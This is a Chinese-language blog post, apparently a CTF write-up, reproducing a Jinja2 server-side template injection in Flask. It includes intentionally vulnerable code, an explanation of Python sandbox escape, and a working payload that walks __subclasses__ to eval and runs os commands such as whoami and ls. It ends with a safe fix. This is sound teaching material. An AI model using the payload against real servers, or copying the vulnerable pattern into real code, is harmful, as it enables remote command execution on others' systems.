FlaskSSTI复现

本文最后更新于:2024年4月6日 下午

Flask SSTI复现

基于jinja2模板的注入漏洞

漏洞成因

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

这是复现漏洞的代码,其中的name未经处理就被写入模板,也就是可以直接传入jinja2模板语言,形成注入。
ssti1.png
此时发现传入的参数被当作jinja代码执行了,OK,注入之路开始。

漏洞利用

在jinja2中是可以直接访问python的一些对象及其方法的,如
字符串对象及其upper函数,列表对象及其count函数,字典对象及其has_key函数

我们的究极目的是访问os模块,获得命令执行权限。
此时就可以利用python沙盒逃逸大法。
查阅资料知道有以下特性

 __bases__
以元组返回一个类直接所继承的类
__mro__
以元组返回继承关系链
__class__
返回对象所属的类
__globals__
以dict返回函数所在模块命名空间中的所有变量
__subclasses__()
以列表返回类的子类
_builtin_
内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)
ps:在py3中__builtin__被换成了builtin
__builtin__ 和 __builtins__之间是什么关系呢?
在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。
非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

要执行代码,肯定是第一选择是eval()函数,可以从__builtins__中得到eval函数。
通过本机的环境和脚本查找到一个名叫_IterationGuard的类

[].__class__.__bases__.__subclasses__()

这串代码的意思是从列表对象获取类,再通过__base__获取其基类,然后通过__subclasses__获得基类的所有子类,然后再在子类中寻找。

if c.__name__=='_IterationGuard':
    c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')"

此时直接寻找名为_IterationGuard的类,此时通过这个类来执行eval函数,然后后面引入os模块形成代码执行。

最终的jinja代码为:

{% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__=='_IterationGuard' %}
    {{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
    {% endif %}
    {% endfor %}

成功完成注入。

接下来就是寻找flag,因为对这种题目经验比较少,所以一直找不到flag,尝试了cat find等等,最终发现直接env打印环境变量就能得到flag
ssti2.png

flag{e56f2495-b93a-40be-b2cc-7edf6f8593f0}

后记

关于避免jinja注入

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')
    t = Template("Hello {{n}}")
    return t.render(n=name)

if __name__ == "__main__":
    app.run()

将代码改为以上形式即可避免(避免了直接将name对象当代码执行了)

至此本题结束


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!